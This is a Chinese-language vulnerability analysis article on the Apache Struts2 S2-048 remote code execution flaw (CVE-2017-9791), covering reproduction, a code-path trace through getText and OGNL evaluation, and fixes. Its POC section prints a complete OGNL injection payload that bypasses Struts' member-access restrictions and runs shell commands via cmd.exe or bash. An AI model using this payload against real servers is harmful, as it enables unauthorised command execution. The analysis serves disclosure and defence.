Struts2 S2-048远程代码执行漏洞分析报告

2017-07-18 +12 590518人围观 ,发现 7 个不明物体 漏洞

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

一、漏洞介绍

1.1 漏洞背景

2017年7月7日,ApacheStruts 发布最新的安全公告,Apache Struts2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为 CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件,远程执行代码。

1.2 漏洞影响

Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。

二、漏洞复现

本文使用Apache Struts22.3.24 版本作为复现演示实例。

首先下载struts-2.3.24-apps.zip,下载地址为http://archive.apache.org/dist/struts/2.3.24/。解压其中的 strucs2-showcase.war至 tomcat 的工作目录 webapps 下。

首先下载struts-2.3.24-apps.zip并解压

根据官网说明,可知漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行,搜索发现 org.apache.struts2.showcase.integration.SaveGangsterAction 存在漏洞。

ActionMessage的Key可控值

查看 struts-integration.xml 配置文件可知对应 action 为 saveGangster,类为 org.apache.struts2.s1.Struts1Action。

查看 struts-integration.xml 配置文件

所以访问 /integration/saveGangster.action 

访问 /integration/saveGangster.action

抓包修改参数值,发现成功执行了 OGNL 表达式。

成功执行了 OGNL 表达式

三、漏洞原理分析

3.1 漏洞产生条件

Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录。

3.2 漏洞动态分析

漏洞的本质原因是在struts2-struts1-plugin包中的Struts1Action.java中的execute函数调用了getText函数,这个函数会执行ognl表达式,且是getText的输入内容是攻击者可控的。

首先执行的 truts1Action 的 execute 方法,该方法首先获取 Action

执行 truts1Action 的 execute 方法

然后调用 saveGangsterAction 的 execute 方法,将表单请求封装到了 actionForm 中,

 调用 saveGangsterAction 的 execute 方法

并设置一个标识,用于获取 ActionMessage

设置一个标识,用于获取 ActionMessage

接着获取 request 中的 ActionMessage,检查 ActionMessage 是否为 null,不为 null 则处理 ActionMessage 并显示在客户端,此处调用了会执行 OGNL 表达式的 getText() 方法,将拼接后的参数传入其中, getText 方法会根据不同的Locale 去对应的资源文件里面获取相关文字信息并展现。

获取 request 中的 ActionMessage

getText(StringaTextName) 方法位于 com.opensymphony.xwork2.ActionSupport 中,代码如下

getText(StringaTextName) 方法的代码

getText(StringaTextName) 方法的代码

然后进入 TextProviderSupport.getText(String key, String defaultValue, List<?> args) 方法,代码如下

TextProviderSupport.getText(String key, String defaultValue, List<?> args) 方法的代码” src=”https://image.3001.net/images/20170714/15000010476940.png!small” width=”690″ height=”101.60958904109589″></p>
<p style=TextProviderSupport.getText(String key, String defaultValue, List<?> args) 方法的代码” src=”https://image.3001.net/images/20170714/15000010568205.png!small” width=”690″ height=”136″></p>
<p>此处进入LocalizedTextUtil.findText(Class aClass, String aTextName, Locale locale, String defaultMessage,Object[] args),其根据用户的配置做一些本地化的操作</p>
<p style=根据用户的配置做一些本地化的操作

接着进入 LocalizedTextUtil.findText(ClassaClass, String aTextName, Locale locale, String defaultMessage, Object[] args,ValueStack valueStack),代码如下

ocalizedTextUtil.findText(ClassaClass, String aTextName, Locale locale, String defaultMessage, Object[] args,ValueStack valueStack) 代码

可知接着会调用 LocalizedTextUtil.getDefaultMessage(Stringkey, Locale locale, ValueStack valueStack, Object[] args, StringdefaultMessage),此函数调用了 TextParseUtil.translateVariables(String expression,ValueStack stack) 方法,执行 OGNL 表达式

执行 OGNL 表达式

TextParseUtil.translateVariables(Stringexpression,ValueStack stack) 方法代码如下

TextParseUtil.translateVariables(Stringexpression,ValueStack stack) 方法代码

四、关于POC

4.1 远程代码执行POC

(1)用来出发文件漏洞,声明为文件上传。

%{(#_='multipart/form-data')

(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。

.(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))

(3)调用CMD命令的代码,首先判断操作系统,win下调用cmd,linux下调用bash。

.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

五、修复意见

1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:

messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

一定不要使用如下的方式

messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

2、 无奈解决方案:不启用struts2-struts1-plugin插件

3、 根本解决方案:建议升级到最新版本2.5.10.1

六、参考资料

[1] https://xianzhi.aliyun.com/forum/read/1844.html

[2] http://www.cnblogs.com/Zhujianshi/p/7146396.html

[3] http://blog.topsec.com.cn/ad_lab/strutss2-048%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ 

[4] http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/

*本文作者:小挺,转载请注明来自 FreeBuf.COM

相关推荐

这些评论亮了

  • 123123 回复
    根本解决方案:抛弃struts转入spring mvc怀抱
    )9( 亮了
发表评论

已有 7 条评论

取消
Loading...
小挺

这家伙太懒,还未填写个人描述!

1 文章数 0 评论数

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php